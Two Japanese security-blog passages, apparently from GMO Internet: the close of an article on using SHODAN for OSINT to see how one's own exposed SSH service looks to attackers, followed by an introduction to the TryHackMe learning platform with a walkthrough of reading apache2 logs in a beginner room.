上記は22番ポートを使用して動いているSSHの接続ログなのですが、明らかに自分ではない接続元のIPアドレスからアクセスが行われていることが確認できたため、接続元を確認してみたところ、下記海外からのアクセスであることが分かりました。 IPアドレス国192.226.244.9カナダ186.109.86.184アルゼンチン212.192.24.36チェキア（チェコ） 22番ポートが空いている、という情報だけでも不信なIPアドレスから攻撃などが来ることが分かります。先ほどお見せした脆弱性のある別環境の場合には、より確実に内部に侵入するため該当の脆弱性を突く攻撃を実施してくると考えられます。攻撃者はそういった情報を「OSINT」として情報収集したのち、「武器化」しながら攻撃を仕掛けてくるのです。 5.まとめ いかがだったでしょうか。 今回は「サイバーキルチェーン」という攻撃者側の視点も交えつつ、「SHODAN」というサイトを使用した「OSINT」という手法を説明させていただきました。 「SHODAN」などのサイトで公開されている情報に関しては、攻撃者側にとっても有益ではありますが、私たち「守る側」としても非常に有益です。それは、外部から自分たちの管理している環境が「どう見えているのか」ということを常に確認、把握しておくことで脆弱性への対策や攻撃を検知し、攻撃者のゴールである「目的の実行」を防ぐことに繋げていくことが出来るからです。 本説明が少しでもみなさんのセキュリティ改善に貢献できれば幸いです。

こんにちは。GMOインターネット セキュリティエンジニアの羽田です。セキュリティに興味はあるけど、 -具体的にどのような学習を行えば良いかわからない -環境の準備が大変と感じる方は少なくないのではないでしょうか。この記事では、TryHackMeという学習コンテンツを紹介し、誰でも簡単にセキュリティを学習する方法をご紹介します。読んでいただくことで、セキュリティを学習するうえで必要な「基礎知識とそれらを用いた実用の反復方法」がわかります。TryHackMeを用いることでセキュリティを楽しみながら学習することができるようになりますよ。 1.セキュリティとは何か 定義 まずこの記事での”セキュリティ”の定義はサイバーセキュリティとします。セキュリティと一言で言っても様々なとらえ方がありますが、下記のように定義します。 セキュリティ　サイバーセキュリティ：データなどの電子資産を保護することに焦点を当てた考え方・手段　情報セキュリティ：電子資産だけではなく紙やハードウェアのような物理的な資産も対象にそれら資産の保護することに焦点を当てた考え方・手段 分解してみる サイバーセキュリティの内訳は下記の通りです。内訳とは言ったものの、理解するうえで必要な要素を並べたものになります。 -ネットワーク -プログラミング(アプリケーション) -各種OS -暗号や認証 -データベース これらの要素をそれぞれ理解することがまずは大事になってきます。なぜならセキュリティに関して起きる問題や課題というのはこれらが組み合わさったものであることがほとんどだからです。 上に挙げた各要素についての理解ができたら、それに関する何かしらの実例にあたることでより理解を深めることができます。最初はそれぞれ程度の低いものからはじめて、各要素の理解と事例を反復することで段々と難易度の高いことも理解・解決できる力がついてきます。 2.TryHackMeの紹介 「1. セキュリティとは何か」を踏まえ、セキュリティの各要素の理解と事例の反復方法ができる方法を1つご紹介します。 TryHackMeとは何か TryHackMeというセキュリティ学習コンテンツがあります。公式サイトにも書かれていますが、初心者から熟練者まで利用できるほどコンテンツが充実していることがわかります。 TryHackMe is an online platform that teaches cyber security through short, gamified real-world labs. We have content for both complete beginners and seasoned hackers, incorporation guides and challenges to cater for different learning styles.（TryHackMeは、ゲーム化された短い実世界のラボを通じてセキュリティを教えるオンラインプラットフォームです。完全な初心者と熟練したハッカーの両方のためのコンテンツ、組み込みガイド、さまざまな学習スタイルに対応するための課題があります。） 引用元：https://tryhackme.com/about 環境準備 最低限必要になるものを挙げます。 ブラウザOpenVPN（こちらに公式の案内があります。） 必須ではありませんが、KaliLinuxを用意できる方はそちらもあると楽です。 room TryHackMeの各ラボはroomと呼ばれる部屋に用意されています。それぞれ基本的なものからツールを扱った部屋まで様々なものがあります。 また学習の目的に合わせていくつかのroomを段階的に組み合わたものを提示もしてくれます。 1つのroomは次の図のようになっています。 Taskとよばれる問題が出題されており、1つずつ回答していきます。このroomが段階を踏んでいて、そのroomにおける必要な前提知識などを抑える内容のTaskから用意されています。そのため基本的には楽しく進められて、気が付けば基本が理解できているといった具合になります。 またラボと呼ばれる作業場所となる環境がTryHackMe側で用意されており、ブラウザ内で起動・操作することができます。画像の右側に見えるのが遠隔で起動したLinux環境です。 実際にやってみる 試しにこの部屋（Linux Fundamentals Part 3）を解いてみましょう。最初はこのroomの問題を解くにあたって必要な知識のレクチャーとなっていますね。 問題を進めていくと、Task8でこれまでと違い、知識を使って解く問題がでてきました。 （途中の内容省略） Look for the apache2 logs on the deployable Linux machine 最初の設問は問題という問題では無いようですが、Linuxマシーンのapache2のログを確認するよう指示されていますので移動してみます。 どうやらアクセスログとエラーログがありますね。 What is the IP address of the user who visited the site?What file did they access? 続いてはIPアドレスの確認とアクセス先のページを尋ねられています。そのためアクセスログを確認。 それぞれ確認できたので、回答欄に入力してSubmitボタンを押します。 確認した内容で正解だったようですね。 また次のLog4jのような話題になった脆弱性についても用意されていて、基本的なことから実際のツールや脆弱性に関して扱ったroomまでカバーされています。 3.おわりに 今回は、セキュリティの学習方法とその具体的な手段としてTryHackMeについて紹介してきました。TryHackMeについては軽い紹介程度にとどまりましたが、執筆時点でroomの総数は500以上あるので、皆さんも興味があるroomを見つけたらぜひ試し見てください。